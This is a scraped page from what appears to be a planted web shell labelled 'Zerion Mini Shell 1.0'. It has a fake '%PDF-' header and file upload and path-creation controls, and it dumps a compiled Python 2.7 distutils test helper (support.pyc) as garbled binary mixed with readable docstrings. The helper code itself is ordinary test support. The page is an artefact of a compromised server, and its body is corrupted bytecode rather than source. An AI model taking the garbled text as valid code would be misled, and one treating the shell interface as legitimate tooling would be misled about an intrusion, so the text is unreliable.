%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/distutils/tests/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/distutils/tests/support.pyc

ó
Pêáac@s/dZddlZddlZddlZddlZddlZddlZddlmZddl	Z	ddl
mZddlm
Z
mZmZmZmZddlmZd„Zdefd	„ƒYZd
efd„ƒYZddd
„ƒYZdefd„ƒYZd„Zd„Zd„ZdS(s&Support code for distutils test cases.iÿÿÿÿN(tdeepcopy(tlog(tDEBUGtINFOtWARNtERRORtFATAL(tDistributioncs‡fd†}|S(Ncs1tjƒtjdƒˆ||ŽSWdQXdS(Ntignore(twarningstcatch_warningstsimplefilter(targstkw(tfunc(s3/usr/local/lib/python2.7/distutils/tests/support.pyt_capture_warningss

((RR((Rs3/usr/local/lib/python2.7/distutils/tests/support.pytcapture_warningsstLoggingSilencercBs5eZd„Zd„Zd„Zd„Zd„ZRS(cCsStt|ƒjƒtjtjƒ|_tjj|_	|jtj_g|_
dS(N(tsuperRtsetUpRt
set_thresholdRt	thresholdtLogt_logt_old_logtlogs(tself((s3/usr/local/lib/python2.7/distutils/tests/support.pyRs
cCs6tj|jƒ|jtj_tt|ƒjƒdS(N(	RRRRRRRRttearDown(R((s3/usr/local/lib/python2.7/distutils/tests/support.pyR$scCsQ|tttttfkr4tdt|ƒƒ‚n|jj|||fƒdS(Ns%s wrong log level(	RRRRRt
ValueErrortstrRtappend(RtleveltmsgR((s3/usr/local/lib/python2.7/distutils/tests/support.pyR)scGsAd„}g|jD]*\}}}||kr|||ƒ^qS(NcSst|ƒdkr|S||S(Ni(tlen(R R((s3/usr/local/lib/python2.7/distutils/tests/support.pyt_format/s(R(RtlevelsR"RR R((s3/usr/local/lib/python2.7/distutils/tests/support.pytget_logs.s	cCs
g|_dS(N(R(R((s3/usr/local/lib/python2.7/distutils/tests/support.pyt
clear_logs6s(t__name__t
__module__RRRR$R%(((s3/usr/local/lib/python2.7/distutils/tests/support.pyRs
	
			tTempdirManagercBsAeZdZd„Zd„Zd„Zdd„Zdd„ZRS(s}Mix-in class that handles temporary directories for test cases.

    This is intended to be used with unittest.TestCase.
    cCs/tt|ƒjƒtjƒ|_g|_dS(N(RR(Rtostgetcwdtold_cwdttempdirs(R((s3/usr/local/lib/python2.7/distutils/tests/support.pyR@scCs_tj|jƒtt|ƒjƒx5|jrZ|jjƒ}tj	|tj
dkƒq&WdS(Ntnttcygwin(R-R.(R)tchdirR+RR(RR,tpoptshutiltrmtreetname(Rtd((s3/usr/local/lib/python2.7/distutils/tests/support.pyREs
cCs tjƒ}|jj|ƒ|S(sjCreate a temporary directory that will be cleaned up.

        Returns the path of the directory.
        (ttempfiletmkdtempR,R(RR4((s3/usr/local/lib/python2.7/distutils/tests/support.pyR6NstxxxcCs\t|ttfƒr*tjj|Œ}nt|dƒ}z|j|ƒWd|jƒXdS(sWWrites a file in the given path.


        path can be a string or a sequence.
        twN(	t
isinstancetlistttupleR)tpathtjointopentwritetclose(RR<tcontenttf((s3/usr/local/lib/python2.7/distutils/tests/support.pyt
write_fileWstfoocKsG|jƒ}tjj||ƒ}tj|ƒtd|ƒ}||fS(sWill generate a test environment.

        This function creates:
         - a Distribution instance using keywords
         - a temporary directory with a package structure

        It returns the package directory and the distribution
        instance.
        tattrs(R6R)R<R=tmkdirR(Rtpkg_nameR
ttmp_dirtpkg_dirtdist((s3/usr/local/lib/python2.7/distutils/tests/support.pytcreate_distes


(R&R't__doc__RRR6RCRK(((s3/usr/local/lib/python2.7/distutils/tests/support.pyR(:s					tDummyCommandcBs eZdZd„Zd„ZRS(sAClass to store options for retrieval via set_undefined_options().cKs1x*|jƒD]\}}t|||ƒq
WdS(N(titemstsetattr(RtkwargsR
tval((s3/usr/local/lib/python2.7/distutils/tests/support.pyt__init__zscCsdS(N((R((s3/usr/local/lib/python2.7/distutils/tests/support.pytensure_finalized~s(R&R'RLRRRS(((s3/usr/local/lib/python2.7/distutils/tests/support.pyRMws	tEnvironGuardcBseZd„Zd„ZRS(cCs)tt|ƒjƒttjƒ|_dS(N(RRTRRR)tenvirontold_environ(R((s3/usr/local/lib/python2.7/distutils/tests/support.pyR„scCs•xE|jjƒD]4\}}tjj|ƒ|kr|tj|<qqWx3tjjƒD]"}||jkrXtj|=qXqXWtt|ƒjƒdS(N(	RVRNR)RUtgettkeysRRTR(Rtkeytvalue((s3/usr/local/lib/python2.7/distutils/tests/support.pyRˆs(R&R'RR(((s3/usr/local/lib/python2.7/distutils/tests/support.pyRT‚s	cCs;tƒ}|dkr'tjdƒ‚ntj||ƒdS(skHelper for tests that need the xxmodule.c source file.

    Example use:

        def test_compile(self):
            copy_xxmodule_c(self.tmpdir)
            self.assertIn('xxmodule.c', os.listdir(self.tmpdir))

    If the source file can be found, it will be copied to *directory*.  If not,
    the test will be skipped.  Errors during copy are not caught.
    s>cannot find xxmodule.c (test must run in the python build dir)N(t_get_xxmodule_pathtNonetunittesttSkipTestR1tcopy(t	directorytfilename((s3/usr/local/lib/python2.7/distutils/tests/support.pytcopy_xxmodule_c”s	c	Cs‘tjdƒ}tjjtjjtƒdƒtjj|ddƒtjj|dddddƒg}x$|D]}tjj|ƒrm|SqmWdS(Ntsrcdirs
xxmodule.ctModuless..(t	sysconfigtget_config_varR)R<R=tdirnamet__file__texists(Rct
candidatesR<((s3/usr/local/lib/python2.7/distutils/tests/support.pyR[§s$
cCsÈtjdkr'tjjdƒ|_ntjdƒrÄtjdƒ}|dkr`dg|_	qÄtj
dkr{g|_	qÄ|jdƒ\}}}g|jtj
ƒD]}|r¦|^q¦|_	ndS(	s4Function needed to make build_ext tests pass.

    When Python was build with --enable-shared on Unix, -L. is not good
    enough to find the libpython<blah>.so.  This is because regrtest runs
    it under a tempdir, not in the top level where the .so lives.  By the
    time we've gotten here, Python's already been chdir'd to the tempdir.

    When Python was built with in debug mode on Windows, build_ext commands
    need their debug attribute set, and it is not done automatically for
    some reason.

    This function handles both of these things.  Example use:

        cmd = build_ext(dist)
        support.fixup_build_ext(cmd)
        cmd.ensure_finalized()

    Unlike most other Unix platforms, Mac OS X embeds absolute paths
    to shared libraries into executables, so the fixup is not needed there.
    R-s_d.exetPy_ENABLE_SHAREDt	RUNSHAREDt.tdarwint=N(R)R3tsyst
executabletendswithtdebugReRfR\tlibrary_dirstplatformt	partitiontsplittpathsep(tcmdt	runsharedR3tequalsRZR4((s3/usr/local/lib/python2.7/distutils/tests/support.pytfixup_build_extºs((RLR)RpR1R5R]ReR_RR	t	distutilsRt
distutils.logRRRRRtdistutils.coreRRtobjectRR(RMRTRbR[R|(((s3/usr/local/lib/python2.7/distutils/tests/support.pyt<module>s&(	"=		

Zerion Mini Shell 1.0